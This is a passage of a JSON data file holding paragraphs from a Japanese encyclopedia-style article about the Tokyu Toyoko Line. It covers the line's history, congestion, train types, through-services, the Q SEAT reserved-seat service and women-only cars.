"title": "沿線風景・地理"
},
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"paragraph_id": 30,
"tag": "p",
"text": "2003年1月に東急が発表した報道発表資料においては、2004年1月30日終電をもって高島町駅および桜木町駅の営業を終了・廃止し、終電後から始発前までに東白楽駅 - 反町駅間において地下線に切り替え作業を実施し、翌31日からは乗務員の習熟訓練・営業運転開始に伴う機器調整等を行うため、渋谷駅 - 横浜駅間のみの区間運転を行い、横浜高速鉄道みなとみらい線の開業はその約1週間後を予定するとされていた。",
"title": "歴史"
},
{
"paragraph_id": 31,
"tag": "p",
"text": "ところが、みなとみらい線開業まで横浜から桜木町駅において代行バスを用意するよう国土交通省からの指示もあったことから、この区間運転期間を最小限に止めるため、同年7月に発表された報道発表資料では2月1日に開業するとされた。",
"title": "歴史"
},
{
"paragraph_id": 32,
"tag": "p",
"text": "そこで、発表された計画を一部変更し、開業3か月前の2003年11月上旬に横浜高速鉄道所属車両であるY500系1本(Y516編成)、東急からは9000系1本(9008F編成)を、長津田工場から東白楽駅付近に仮設された地下搬入線路までトレーラーで陸上輸送し、みなとみらい線内に搬入し、横浜駅 - 桜木町駅間の廃止前に反町駅 - 元町・中華街駅間での習熟運転を先行して実施した。このことは、一部の報道機関が取材に訪れるなど話題となった。これにより、桜木町駅営業終了から僅か1日置いた2月1日の開業にこぎ付けた。",
"title": "歴史"
},
{
"paragraph_id": 33,
"tag": "p",
"text": "予定通り1月30日の終電後に東白楽駅近くで線路地下化切り替え工事が行われ、翌1月31日からは反町駅、横浜駅は地下ホームとなった。同日の臨時ダイヤでは、渋谷駅 - 横浜駅間のみの運行とし、横浜駅ですべての乗客を降ろした後、みなとみらい線内は最終訓練を兼ねて回送をするというダイヤが組まれた。",
"title": "歴史"
},
{
"paragraph_id": 34,
"tag": "p",
"text": "2011年(平成23年)1月25日付けで、国土交通省は鉄道事業者に対しホームドアの設置計画の提出を求め、同年2月8日に公表された報道発表資料によると、東横線はすべての駅にホームドアを設置すると記されている。この時公表された整備計画では具体的な設置時期については検討中としていたが、2015年1月9日に東急電鉄は2020年を目標に東横線内全駅の設置を目指すと発表。各駅での設置工事が順次行われ、2020年初頭に全駅でのホームドア整備が完了した。",
"title": "歴史"
},
{
"paragraph_id": 35,
"tag": "p",
"text": "東横線でのホームドア設置にあたり、駅手前および駅構内に、自動的にブレーキを掛けてホームの定位置に列車を停止させるTASC(定位置停止装置)の地上子を設置しており、駅での停車時には、TASCによるブレーキが列車に掛かるようになっている。渋谷駅のホームドアについては2013年3月16日の副都心線への直通運転開始と同時に地下に新設されたホームに設置されている。",
"title": "歴史"
},
{
"paragraph_id": 36,
"tag": "p",
"text": "2021年度の朝ラッシュ時の最混雑区間は祐天寺駅 → 中目黒駅間で、ピーク時(7:50 - 8:50)の混雑率は116%である。",
"title": "利用状況"
},
{
"paragraph_id": 37,
"tag": "p",
"text": "沿線に多くの住宅地を抱える東横線は、かつてはラッシュ時の混雑が激しく、輸送力増強が急務となっていた。1976年度以前は混雑率が230%を越えていたが、1977年度に新玉川線(現在の田園都市線渋谷駅 - 二子玉川駅間)が開業して混雑率が210%を下回った。その後は混雑率が概ね200%前後で推移していたが、1990年度をピークに輸送人員が減少して、1996年度に混雑率が190%を下回った。2000年度に目黒線が営団地下鉄南北線(現在の東京メトロ南北線)・都営地下鉄三田線との直通運転を開始するとバイパス路線としての機能が強化され、2002年度から2019年度までは混雑率が概ね170%前後で推移している。",
"title": "利用状況"
},
{
"paragraph_id": 38,
"tag": "p",
"text": "近年の輸送実績を下表に記す。表中、最高値を赤色で、最高値を記録した年度以降の最低値を青色で、最高値を記録した年度以前の最低値を緑色で表記している。",
"title": "利用状況"
},
{
"paragraph_id": 39,
"tag": "p",
"text": "戦後、東横線の利用者数が増えるにつれて編成数の増加などを行い、1969年の8000系(2008年運転終了)の登場以降、3つドア18m車から、4つドア20m車のみの増備となった。これに伴い前者は、日比谷線直通電車だけで運用されるようになった。昭和末期になると、さらに混雑が深刻化したため、東横線渋谷 - 桜木町(当時)間を運行する列車は順次20m車8両編成へと増強された。",
"title": "利用状況"
},
{
"paragraph_id": 40,
"tag": "p",
"text": "東横線の輸送需要増大に対応する抜本的対策の一つとして「東横線沿線から都心方面に向かう第2ルートの確保」が検討され、その結果として行われたのが「東横線・多摩川園駅 - 日吉駅間4.8kmの複々線化」と「旧目蒲線・目黒駅 - 多摩川園駅間の大規模改良」の実施による目蒲線経由での地下鉄への直通運転である。この工事の完成により、目蒲線改め目黒線経由での南北線・都営三田線への直通運転が行われている。",
"title": "利用状況"
},
{
"paragraph_id": 41,
"tag": "p",
"text": "事業着手当時、田園調布駅 - 多摩川園駅(現・多摩川駅)間は西側2線が東横線、東側2線が目蒲線の線路別複々線であった。事業後は目蒲線の蒲田直通をやめて日吉方面に直通させるため方向別複々線に配線を変更、田園調布駅を地下化、多摩川園駅を高架化し、多摩川園駅では蒲田方で折り返し運転となる目蒲線蒲田方面(現・東急多摩川線)のホームを新たに地下に設置、 田園調布方向に地上との連絡線を設ける工事が行われた。",
"title": "利用状況"
},
{
"paragraph_id": 42,
"tag": "p",
"text": "また、多摩川園駅 - 武蔵小杉駅間は、橋梁・高架線の拡幅・増設によって複々線化された。多摩川園駅の日吉方にある多摩川橋梁は複々線形式での全面架け替えが行われている。この工事は1999年5月15日に完成した。そして翌2000年8月6日、多摩川園駅を「多摩川駅」に改称し、同時に東横線の急行停車駅となった。多摩川駅を境に目蒲線は2つの路線に分離されている。",
"title": "利用状況"
},
{
"paragraph_id": 43,
"tag": "p",
"text": "目黒線の武蔵小杉駅までの開業に引き続き、目黒線を日吉駅まで延伸する形での複々線化工事が2000年3月30日から着工された。",
"title": "利用状況"
},
{
"paragraph_id": 44,
"tag": "p",
"text": "この第一段階として、2006年9月24日に武蔵小杉駅 - 日吉駅間が新たに完成した高架線への切り替えが行われた。この際に生じた事柄は以下の通りである。",
"title": "利用状況"
},
{
"paragraph_id": 45,
"tag": "p",
"text": "その後、工事の進捗により2007年8月23日のダイヤ改正から、日吉駅の待避線と引き上げ線の使用を中止し、これらを目黒線のものに置き換える工事が開始された。",
"title": "利用状況"
},
{
"paragraph_id": 46,
"tag": "p",
"text": "かつて東横線が使用していた線路の一部を整備して目黒線用の線路とし、同線を2008年6月22日に日吉駅まで延伸させた。",
"title": "利用状況"
},
{
"paragraph_id": 47,
"tag": "p",
"text": "東横線は、2013年3月16日より開始された東京メトロ副都心線との相互直通運転に合わせ、優等列車である特急・通勤特急・急行をそれまでの8両編成から10両編成に増強した(後述)。これに伴い、優等列車停車駅においては10両編成の列車が停車できるように、2両分のホーム有効長延伸工事を実施した。",
"title": "利用状況"
},
{
"paragraph_id": 48,
"tag": "p",
"text": "優等列車通過駅でも非常時に停車できるようにするため、順次2両分のホーム延長工事を施工している(通常延伸部は柵で塞がれており、ホームドアも設置されていない)。",
"title": "利用状況"
},
{
"paragraph_id": 49,
"tag": "p",
"text": "本節以降、「本線系統」とあるのは横浜方面・みなとみらい線直通系統のことを指す。",
"title": "列車種別"
},
{
"paragraph_id": 50,
"tag": "p",
"text": "土休日に2.5往復(元町・中華街行き2本、元町・中華街発3本)が運行されている、西武鉄道が主体となって運行する東急初の座席指定列車。全列車が副都心線を経由して西武池袋線まで乗り入れ、1往復は西武秩父線西武秩父駅発着となる。座席指定券は通過駅を含む東横線各駅の自動券売機で発行する。",
"title": "列車種別"
},
{
"paragraph_id": 51,
"tag": "p",
"text": "10両固定編成の西武40000系が専用で使用される。",
"title": "列車種別"
},
{
"paragraph_id": 52,
"tag": "p",
"text": "特別料金不要の列車としては東横線・みなとみらい線の最速達種別。乗車券のみで利用可能。全て10両編成で、平日は昼間のみ、土曜・休日は早朝・深夜をのぞく終日にわたって運転される。上下線の全ての列車が自由が丘駅と菊名駅で各駅停車に接続するほか、一部の上り特急は武蔵小杉駅にて元住吉駅で追い抜いた各駅停車に連絡する。所要時間は最速で渋谷駅 - 横浜駅間26分(元町・中華街駅までは35分)。平日始発から朝ラッシュ時までと、夕方から終電までは運転されず、代わりに通勤特急が運転される。ほとんどの列車が東京メトロ副都心線に直通し、直通先の副都心線内ではほとんどの列車が急行となる。一部時間帯に和光市駅発着が設定されている以外は副都心線を経由して西武池袋線または東武東上線に乗り入れており、西武池袋線直通は主に小手指駅発着の快速急行として、東武東上線直通は主に森林公園駅発着の快速急行としてそれぞれ乗り入れる。副都心線小竹向原駅では池袋線直通列車は有楽町線からの東上線直通列車に、東上線直通列車は有楽町線からの池袋線直通列車に連絡する場合が多いが、ダイヤ乱れ時には変更される場合がある。",
"title": "列車種別"
},
{
"paragraph_id": 53,
"tag": "p",
"text": "主な運行開始の理由としては、JR東日本の湘南新宿ライン運行開始に先立ち、その対抗手段としての渋谷駅 - 横浜駅 - 桜木町駅(当時)間における競争力強化である。また、2000年8月6日のダイヤ改正より武蔵小杉駅 - 田園調布駅間において複々線の併用が開始(目黒線の開業)されたことで東横線のダイヤに余裕が出たことに加え、同日から急行が多摩川駅に停車するようになった。その結果、ダイヤ改正当時の急行通過駅(12駅)と同停車駅(11駅)の比率が逆転し、停車駅数が通過駅数を上回るようになった上、同駅・田園調布駅・自由が丘駅と3駅連続停車が生じたことや到達時間が延びたことで、利用客からクレームが頻発し(ほぼ1駅おきに停車することから、各駅停車をもじって「隔駅停車」と揶揄された)、新たな上位速達列車の導入を求められたことなどが挙げられる。",
"title": "列車種別"
},
{
"paragraph_id": 54,
"tag": "p",
"text": "2016年3月26日のダイヤ改正で、東横線・みなとみらい線内特急・副都心線内急行・東武東上線内急行(2023年3月18日のダイヤ改正以降は快速急行)・西武線内快速急行の組み合わせとなる列車には「Fライナー」の愛称が付与されている。",
"title": "列車種別"
},
{
"paragraph_id": 55,
"tag": "p",
"text": "平日の朝夕ラッシュ時間帯と夜間に特急の代わりとして運転される速達列車。特急と同様10両編成で運転される。特急停車駅に加え、日吉駅とみなとみらい線の馬車道駅・日本大通り駅に停車し、自由が丘駅と菊名駅で各駅停車に連絡する。土曜・休日ダイヤでの運行はない。夜間の一部列車を除き東京メトロ副都心線に直通し、直通先の副都心線内では主に急行・通勤急行となる。東上線内は主に普通(一部急行)、西武有楽町線・池袋線内は主に快速(一部快速急行・準急・各駅停車)となる。",
"title": "列車種別"
},
{
"paragraph_id": 56,
"tag": "p",
"text": "車両の行先表示や、駅構内に設置されている一部の発車標では、表示スペースが狭いこともあり「通特」と省略の上で表示されている。また、英語表記は「Com. Exp.(=通勤急行)」「Commuter Limited Express」などの表記揺れがあり、統一されていない。",
"title": "列車種別"
},
{
"paragraph_id": 57,
"tag": "p",
"text": "東横線・みなとみらい線の速達列車の中では最も停車駅が多い種別であり、終日にわたり運転される。10両編成と8両編成の両方が充当される(8両編成は本線系統のみ)。特急と同様、自由が丘駅と菊名駅で各駅停車に連絡する列車や、上り線は朝ラッシュ時を中心に祐天寺駅で各駅停車を追い抜く列車がある。渋谷駅発着で運転される一部列車を除き東京メトロ副都心線に直通し、直通先の副都心線内では主に平日朝ラッシュ時間帯が急行・通勤急行となる以外は各駅停車となる。日中は本線系統は線内完結列車と和光市発着が各2本。相鉄線直通系統は和光市発着と川越市発着が各1本の毎時6本となり、朝晩は西武池袋線小手指・清瀬行きや東武東上線志木行きなどが見られる。定期の急行は特急や通勤特急を待避せず、終着駅まで先着する(東横線・みなとみらい線内のみ。副都心線以北を除く)。臨時列車が運転される場合のみ特急の通過待ちをすることがある。なお、2023年3月改正時に自由が丘駅でS-TRAIN元町・中華街行きと接続・待避する急行湘南台行きが、土曜・休日ダイヤの午前中に1本設定されている。2023年8月10日より平日ダイヤの夜間に東急車による列車5本で有料座席指定サービス「Qシート」が実施されている。",
"title": "列車種別"
},
{
"paragraph_id": 58,
"tag": "p",
"text": "2駅以上連続して停車する区間が、自由が丘 - 多摩川間(3駅連続)、日吉 - 綱島間(2駅連続)と多い。",
"title": "列車種別"
},
{
"paragraph_id": 59,
"tag": "p",
"text": "渋谷 - 横浜間の所要時間は最短29分(元町・中華街まで38分)。",
"title": "列車種別"
},
{
"paragraph_id": 60,
"tag": "p",
"text": "通常の急行は元住吉駅を通過する。元住吉検車区の出入りのために、以前は元住吉駅を始発・終着とする急行が存在した。しかし、2006年9月24日より元住吉駅が高架化され、駅構内からの入出庫ができなくなったことに伴い、翌25日のダイヤ改正から、それまでの元住吉駅発着の急行はすべて日吉駅・武蔵小杉駅発着に変更された。",
"title": "列車種別"
},
{
"paragraph_id": 61,
"tag": "p",
"text": "7200系以前の車両が急行運用に就く時は「急行」の種別表示札を装着して運用していた。8000系も「急行」の種別表示札を装着していたが、後に方向幕に種別表示を行うようになった。",
"title": "列車種別"
},
{
"paragraph_id": 62,
"tag": "p",
"text": "速達列車の通過駅の有効長の関係で、すべての列車が東急・横浜高速鉄道・東京メトロの車両による8両編成で運転されている。主に元町・中華街発着の列車が自由が丘駅・菊名駅で急行または特急(時間帯によっては通勤特急)に接続する。",
"title": "列車種別"
},
{
"paragraph_id": 63,
"tag": "p",
"text": "日中時間帯は1時間に8本設定されており、内訳は渋谷 - 元町・中華街間を通しで運転する列車(線内完結列車)が2本、副都心線直通 - 元町・中華街間を運転する列車が6本(内訳は副都心線池袋駅・和光市駅発着が2本ずつ、池袋線石神井公園駅発着が2本)である。すべての列車が直通先の副都心線内でも各駅停車として運転する。また、東京メトロの車両は、東横線・みなとみらい線内のみを運転する一部列車(渋谷 - 菊名間および渋谷 - 元町・中華街間など)にも使用されている。以前は日中時間帯に菊名 - 副都心線池袋間を走る各駅停車が毎時2本運行していたが、2022年3月12日のダイヤ改正で消滅した。",
"title": "列車種別"
},
{
"paragraph_id": 64,
"tag": "p",
"text": "日中以外の時間帯には、和光市駅より先の東上線志木駅発着(平日のみ)のほか、副都心線新宿三丁目駅発着、池袋線飯能駅(土休日のみ)・小手指駅・所沢駅・清瀬駅発着もある。東横線側では武蔵小杉駅・菊名駅・横浜駅発着、日吉発元町・中華街行きもあるが、2023年3月18日のダイヤ改正で相鉄線直通急行に振り替えられる形で東横線内の区間運転は減少した。",
"title": "列車種別"
},
{
"paragraph_id": 65,
"tag": "p",
"text": "副都心線との直通運転開始当初は日中の渋谷駅発着列車は元町・中華街行と菊名行の各2本ずつであったが、2016年3月26日のダイヤ改正で元町・中華街行4本に変更されるとともに副都心線新宿三丁目駅発着列車が元町・中華街行から菊名行に変更された。2017年3月25日のダイヤ改正で、日中の新宿三丁目駅発着が池袋駅発着に延長され、2022年3月12日のダイヤ改正で渋谷駅発着が2本減となり池袋発着は元町・中華街行きに延長となった。",
"title": "列車種別"
},
{
"paragraph_id": 66,
"tag": "p",
"text": "特急運転開始以前は、日中において多くの各駅停車が、渋谷 - 桜木町間のほぼ中間に位置する日吉で急行の待ち合わせを行っており、始発駅から数えて「急行 → 各駅停車(待避なし) → 各駅停車(日吉で急行待ち)」という順番でダイヤが組まれていた。これは、2019年1月現在の東急目黒線の日中のダイヤにおいても同様の例が見られる。",
"title": "列車種別"
},
{
"paragraph_id": 67,
"tag": "p",
"text": "かつては方向幕に種別表示を行っていなかったが、みなとみらい線開業を控えた2004年1月までに表記を開始した。",
"title": "列車種別"
},
{
"paragraph_id": 68,
"tag": "p",
"text": "2023年3月18日ダイヤ改正時点での東横線(一体として運行されている東京メトロ副都心線、みなとみらい線を含む)における日中1時間あたりの運行本数は以下のとおりである。",
"title": "列車種別"
},
{
"paragraph_id": 69,
"tag": "p",
"text": "2013年3月16日に東横線渋谷駅 - 代官山駅間(約1.3km)が地下化され、渋谷駅で東京メトロ副都心線との相互直通運転が開始された。",
"title": "直通運転"
},
{
"paragraph_id": 70,
"tag": "p",
"text": "すでに副都心線では2008年の開業時から、途中駅である小竹向原駅で西武池袋線(西武有楽町線経由)と、終点の和光市駅で東武東上線とそれぞれ相互直通運転を実施しており、東横線と副都心線との相互直通運転と同時に、みなとみらい線・東横線から副都心線を介して西武池袋線飯能駅(西武車の一部と東急車10両運用の一部は回送で武蔵丘信号場)および東武東上線森林公園駅に至る、鉄道5事業者(東武鉄道・西武鉄道・東京地下鉄・東京急行電鉄・横浜高速鉄道)による相互直通運転が開始された。これに先立ち、西武池袋線では保谷駅を島式1面2線から2面3線に拡張する工事が行われたほか、2011年夏頃からは東京メトロ7000系 ・東武9050系・西武6000系が終電後の東横線内において試運転を実施していた。また、逆に東急5050系(4000番台含む)が副都心線(及び有楽町線)や東武東上線内、西武池袋線内で試運転を実施していた。2012年9月から東横線では東京メトロ10000系・7000系が、副都心線では東急5050系が先行営業運転をそれぞれ行っていた。これにより、直通運転開始後は廃止される地上の渋谷駅に東京地下鉄の車両が入線することになり、多くの鉄道ファンのほか、一般の利用客にも写真を撮られるなどして注目された。",
"title": "直通運転"
},
{
"paragraph_id": 71,
"tag": "p",
"text": "この相互直通運転開始により、西武の車両が初めて神奈川県内でも営業運転を開始した。",
"title": "直通運転"
},
{
"paragraph_id": 72,
"tag": "p",
"text": "副都心線開業前の2002年初頭、東横線と副都心線との相互直通運転が正式に決まり、東京地下鉄の前身である営団地下鉄側は計画を次のように一部変更した。",
"title": "直通運転"
},
{
"paragraph_id": 73,
"tag": "p",
"text": "一方、東急側ではアプローチとなる渋谷駅 - 代官山駅間の地下化工事完了に伴い、東横線の渋谷駅は地上2階から地下5階にある副都心線渋谷駅ホームに移設し、高架式ホームは廃止となった。駅舎の撤去後、渋谷駅周辺の再開発事業に活用され、山手線ホームから離れた位置にあったJR埼京線(湘南新宿ライン)渋谷駅ホームをここに移設する計画で、2020年6月に移設された。なお、この副都心線ホームは田園都市線・半蔵門線ホームと改札内での乗り換えが可能であり、これらのホームを一体的に管理するため、副都心線の渋谷駅ホームは、2008年6月14日の開業当初から東急が駅管理業務を行っていた。",
"title": "直通運転"
},
{
"paragraph_id": 74,
"tag": "p",
"text": "副都心線は、開業当初からホームドアを使用したワンマン運転を行っており、かつ、副都心線の車両は10両編成が基本であることから、同線への乗り入れに際し、これらに対応した設備改良が必要となった。このため、2010年度以降に増備された東横線5050系車両は、当初よりATOおよび運転士用ドア開閉ボタンなどを装備し、副都心線におけるワンマン運転に備えていた。また、副都心線との直通運転開始までに、既存の東横線所属の5000系・5050系にも同様の改造工事を施工し、急行停車駅ではホームの延長工事を行った。従来、東横線・みなとみらい線の優等列車(特急・通勤特急・急行)は8両編成であったが、直通運転後は急行の一部をのぞいて10両編成に増結された。直通運転開始時に10両編成で運用しているのは、2011年から増備された東急5050系4000番台と、他に、東京地下鉄7000系の一部、10000系、東武9000系、9050系、50070系、西武6000系である。",
"title": "直通運転"
},
{
"paragraph_id": 75,
"tag": "p",
"text": "なお、各駅停車については従来通り8両編成での運転となっており、各駅停車のみが停車する駅においてはホーム延伸工事が行われていない。また、副都心線の各駅停車のうち東京地下鉄7000系や東京地下鉄17000系には8両編成も存在するが、これは東横線・みなとみらい線との相互直通運転において、主に各駅停車としての運用に就くためである。",
"title": "直通運転"
},
{
"paragraph_id": 76,
"tag": "p",
"text": "2022年3月12日ダイヤ改正からの運行パターンとしては、日中16本/時のうち各駅停車2本/時が渋谷駅折り返しとなる以外はすべて副都心線に乗り入れる。このうち東横線特急が副都心線内急行・西武線内快速急行の最速達列車として、西武池袋線小手指駅発着および、東武東上線内急行の東上線森林公園駅発着のFライナーとして運転される。東横線急行(毎時4本運行)は副都心線内各駅停車の和光市駅発着となり、東新宿駅で後続の急行(東横線特急)を待避する。各駅停車は日中毎時6本が副都心線に直通するが、うち日中毎時2本は池袋駅折り返しとなっている。",
"title": "直通運転"
},
{
"paragraph_id": 77,
"tag": "p",
"text": "2004年2月1日から、横浜駅で横浜高速鉄道みなとみらい線と相互直通運転を行っている。",
"title": "直通運転"
},
{
"paragraph_id": 78,
"tag": "p",
"text": "横浜駅では東横線の渋谷方面発横浜行き(平日1本、土休日2本)と横浜発東横線渋谷方面行き(平日1本のみかつ急行)および、みなとみらい線の横浜発元町・中華街行き始発電車を除く全列車が直通運転を行っているほか、横浜駅では会社間における乗務員の交代を行わずに東急の乗務員が引き続きみなとみらい線内を通しで乗務すること、横浜高速鉄道の自社車両であるY500系が東横線の元住吉検車区所属であること、みなとみらい線内の駅業務を東急の子会社である東急レールウェイサービスが受け持っていることなど、東横線とみなとみらい線は事実上一体となって運行されている。",
"title": "直通運転"
},
{
"paragraph_id": 79,
"tag": "p",
"text": "2023年3月18日から、東急新横浜線が開通し新横浜駅で相鉄新横浜線との相互直通運転を開始した。",
"title": "直通運転"
},
{
"paragraph_id": 80,
"tag": "p",
"text": "日中時間帯は相鉄いずみ野線湘南台駅方面の列車として運転されているが、一部は相鉄本線海老名駅・かしわ台駅(発のみ)・大和駅(着のみ)・西谷駅発着列車として設定されている。",
"title": "直通運転"
},
{
"paragraph_id": 81,
"tag": "p",
"text": "1964年8月29日から、日吉駅 - 中目黒駅 - 営団地下鉄(現在の東京地下鉄)日比谷線北千住駅間で相互直通運転を開始した。その後、1988年から、日吉駅地下化工事に伴い暫定的に菊名駅まで延長されたが、当時は急行が少なく急行待避も無かったため、利用客からは好評で継続されることになった。地下化工事終了後は、日中は日吉駅までの乗り入れとなったが、目黒線の日吉延伸工事に伴い、2007年8月23日からは終日菊名駅まで直通するようになった。",
"title": "直通運転"
},
{
"paragraph_id": 82,
"tag": "p",
"text": "日比谷線直通終了時点では定期列車の運行区間は主に菊名駅 - 日比谷線北千住駅間であり、朝と夜には武蔵小杉駅や日比谷線南千住駅発着列車も設定されていたほか、平日早朝には日比谷線広尾駅始発の菊名行きが設定されていた。武蔵小杉行は原則東急車の運用であるが、平日朝の1本はメトロ車で運用されていた。",
"title": "直通運転"
},
{
"paragraph_id": 83,
"tag": "p",
"text": "日比谷線は北千住駅から先、東武伊勢崎線(東武スカイツリーライン)に乗り入れているが、東横線・日比谷線・スカイツリーライン3線直通列車は設定されておらず、東横線からの列車は北千住まで、スカイツリーラインからの列車は中目黒までの乗り入れとなっていた。",
"title": "直通運転"
},
{
"paragraph_id": 84,
"tag": "p",
"text": "日比谷線直通列車は通常は全列車が各駅停車として運転されたが、臨時列車としてゴールデンウィーク・夏休み・クリスマスなどのシーズンには、日比谷線直通の「みなとみらい号」が運転されることがある(詳細は臨時急行「みなとみらい号」の節を参照)。",
"title": "直通運転"
},
{
"paragraph_id": 85,
"tag": "p",
"text": "2001年の特急運転開始時に、日中における日比谷線直通電車の本数が半減し、1時間当たり4本(15分間隔)から2本(30分間隔)となった。",
"title": "直通運転"
},
{
"paragraph_id": 86,
"tag": "p",
"text": "2013年3月16日の副都心線との直通開始を機に日比谷線との相互直通運転を終了し、東横線は全列車が渋谷・副都心線方面の運行となり、日比谷線は全列車が中目黒までの運行に変更された。日比谷線直通の代替として、菊名発着の渋谷方面行き列車をそれまでの日比谷線直通と同程度の本数運行している。またこの直通運転終了に伴い、東横線における18m車の運行が終了した。",
"title": "直通運転"
},
{
"paragraph_id": 87,
"tag": "p",
"text": "日比谷線直通終了時点で直通列車には東急1000系および東京地下鉄(東京メトロ)03系が使用されていた。車両規格も東横線・みなとみらい線内を走る20m級4つドア大型車体とは異なり、18m級3つドアまたは5つドア中型車体となっている。列車に搭載されている保安設備の関係上、日比谷線に乗り入れていた東急の車両は東武伊勢崎線に乗り入れることができなかった。逆に東武の車両も同様の理由により、東横線内には乗り入れることができない。車両の運用は『MY LINE 東京時刻表』(交通新聞社)の日比谷線のページにおける列車番号欄の末尾「K」の列車は東急1000系、「S」の列車は東京メトロ03系となっていることで判別できた(「T」の列車は東武の車両)。ただし、定期検査時やダイヤが乱れた際はこの限りではなかった。",
"title": "直通運転"
},
{
"paragraph_id": 88,
"tag": "p",
"text": "なお、日比谷線直通用1000系は東横線での運用を終了して元住吉検車区にて留置の後、一部の車両は総合車両製作所にて3両編成化やワンマン運転対応をはじめとする改造工事(同時に1500番台に改番)を受け、2014年5月から雪が谷検車区に転属の上で池上線・東急多摩川線での運用を開始している。",
"title": "直通運転"
},
{
"paragraph_id": 89,
"tag": "p",
"text": "空港連絡鉄道として検討が進められている蒲蒲線が開通すれば、東急多摩川線を介して京急蒲田駅方面まで直通運転が可能となる。",
"title": "直通運転"
},
{
"paragraph_id": 90,
"tag": "p",
"text": "旅客営業は行っていなかったが、2000年8月6日の目黒線開業以来元住吉検車区への回送列車として目黒線の車両(3000系・5080系)および同線への乗り入れ車両である都営6300形・東京地下鉄9000系・埼玉高速鉄道2000系(都車は2000年9月22日より、メトロ車は2003年改正より、埼玉車は2006年改正より)が武蔵小杉 - 元住吉間を走行していた。2008年6月22日の目黒線武蔵小杉 - 日吉間延伸開業以降は、目黒線の線路を通って元住吉検車区へ回送されている。",
"title": "直通運転"
},
{
"paragraph_id": 91,
"tag": "p",
"text": "埼玉高速鉄道線浦和美園と都営地下鉄三田線高島平から、元町・中華街に向けて、1 - 2か月に1回の割合で「みなとみらい号」が運行されている。2006年8月運転分までは、武蔵小杉で目黒線から東横線に転線し、東横線・みなとみらい線内を急行列車として運転されていた。しかし、同年12月運転分からはさらに目黒線内でも急行運転を行い、同時に目黒線から東横線に転線する駅も田園調布に変更された。また、元住吉駅で臨時停車を行い、後発の特急列車の通過待ちをする。",
"title": "臨時列車"
},
{
"paragraph_id": 92,
"tag": "p",
"text": "日比谷線でも同様に、北千住から元町・中華街まで、1 - 2か月に1回の割合で「みなとみらい号」が運行されている。各駅停車として運転される通常の日比谷線直通電車と異なり、東横線内を急行列車として運転する。2007年3月運転分までは日比谷線内でも急行運転を行っていた。",
"title": "臨時列車"
},
{
"paragraph_id": 93,
"tag": "p",
"text": "現在は行楽期に「みなとみらい号」が運行されているが、かつては下記の名称の臨時急行が設定されていた。",
"title": "臨時列車"
},
{
"paragraph_id": 94,
"tag": "p",
"text": "小手指行きの東横特急(副都心線内急行、西武線内快速急行のFライナー)を西武線内快速に変更の上で西武球場前行きとして運行する。西武線内代替として、ひばりヶ丘発の小手指行き快速急行(Fライナーとは名乗らない)が運行される。",
"title": "臨時列車"
},
{
"paragraph_id": 95,
"tag": "p",
"text": "東京都の混雑緩和プロジェクト「時差Biz」にあわせて、2018年7月の平日朝6時台に、元町・中華街発和光市行き「時差Biz特急」を運行。種別は、元町・中華街 - 渋谷間が東横特急、渋谷 - 和光市間が通勤急行で、各区間の停車駅はそれぞれの種別と同じである。但し菊名駅での各駅停車への接続はない。",
"title": "臨時列車"
},
{
"paragraph_id": 96,
"tag": "p",
"text": "2023年8月10日から有料座席指定サービス「Qシート」 (Q SEAT) を開始した。",
"title": "Qシート"
},
{
"paragraph_id": 97,
"tag": "p",
"text": "平日夜間の渋谷発みなとみらい線直通の急行元町・中華街行きのうち5本で、5050系4000番台の4号車・5号車をQシート車両(ロングシートとクロスシートを転換可能)に設定して運行している。1編成目は2022年10月24日に先行して一般車両としてロングシートで営業運転を開始している。",
"title": "Qシート"
},
{
"paragraph_id": 98,
"tag": "p",
"text": "座席数は2両で90席(1両45席)。座席指定料金は一律500円で、渋谷駅 - 菊名駅間は列車指定券が必要な乗降可能区間、横浜駅 - 元町・中華街駅間は列車指定券が不要なフリー乗降区間となる。列車指定券は渋谷駅、中目黒駅、学芸大学駅、自由が丘駅、田園調布駅、多摩川駅、武蔵小杉駅、日吉駅、綱島駅、菊名駅、横浜駅の各駅の駅窓口で販売されるほか、専用webサイト「Qシートチケットレスサービス」でも購入できる。列車指定券は乗車当日の朝5時から発売され、チケットレス購入も可能である。",
"title": "Qシート"
},
{
"paragraph_id": 99,
"tag": "p",
"text": "全てのドアが開くが、列車指定券確認のため、渋谷寄り1か所以外はガードが張られるため利用できない。ただし、菊名駅を発車後に全てのガードが畳まれ手すり脇に格納され、横浜駅からのフリー乗降区間では全ドアが利用できる。",
"title": "Qシート"
},
{
"paragraph_id": 100,
"tag": "p",
"text": "2013年3月18日以降は、平日の始発から9時30分にかけて、8両・10両編成ともに、渋谷寄りの車両である1号車が女性専用車となる。対象区間は上下とも東横線・みなとみらい線全線で東横線内上り列車は東京メトロ副都心線池袋駅、相鉄線に直通する東横線内下り列車は東急新横浜線新横浜駅まで実施し、実施区間の途中であっても9時30分を以て一斉終了となる。",
"title": "女性専用車"
},
{
"paragraph_id": 101,
"tag": "p",
"text": "東横線女性専用車は、2005年7月25日に初めて導入された。この際は、平日の優等列車で終日、横浜寄りの先頭車である8号車に設定されていた。首都圏で女性専用車が終日導入されたのは初めての試みであり、各種メディアにおいても話題となった。ところが、日中および夕ラッシュ時間帯以降における渋谷方面行の利用状況が低いことや、菊名駅を中心に発生した諸問題(詳細は「菊名駅#菊名問題」を参照)が原因で同駅を利用する男性客を中心に大きな反発を受けた。",
"title": "女性専用車"
},
{
"paragraph_id": 102,
"tag": "p",
"text": "そのような経緯から、2006年7月18日に設定時間帯の縮小ならびに設定車両の変更を実施した。この時点での実施対象列車は平日の始発から10時までの上下線と、渋谷駅を17時以降に発車する優等列車で、中間の5号車が設定対象とされた。",
"title": "女性専用車"
},
{
"paragraph_id": 103,
"tag": "p",
"text": "また、2006年7月14日まで、9000系の8号車には、女性専用車の設定位置を強調する目的と企業とのタイアップの目的を兼ねて、一部編成をのぞいた車体に、TBSのテレビドラマ広告がラッピングされていた。",
"title": "女性専用車"
},
{
"paragraph_id": 104,
"tag": "p",
"text": "2013年3月16日(平日ダイヤでは3月18日)の副都心線との直通運転開始後は、女性専用車は上下線ともに渋谷寄りの1号車に、運用時間が平日の始発から9時30分までにそれぞれ変更され、同時に各駅停車を含む全ての種別が対象となった。副都心線、その他乗り入れる東武鉄道・西武鉄道各路線の女性専用車の位置と統一される形となった。",
"title": "女性専用車"
},
{
"paragraph_id": 105,
"tag": "p",
"text": "2023年3月18日(平日ダイヤでは3月20日)より、女性専用車の設定号車が異なる相鉄線との直通運転が開始されたが、相鉄側が東横線に乗り入れる列車のみ位置を変更する形となったため、東横線において変更はない。",
"title": "女性専用車"
},
{
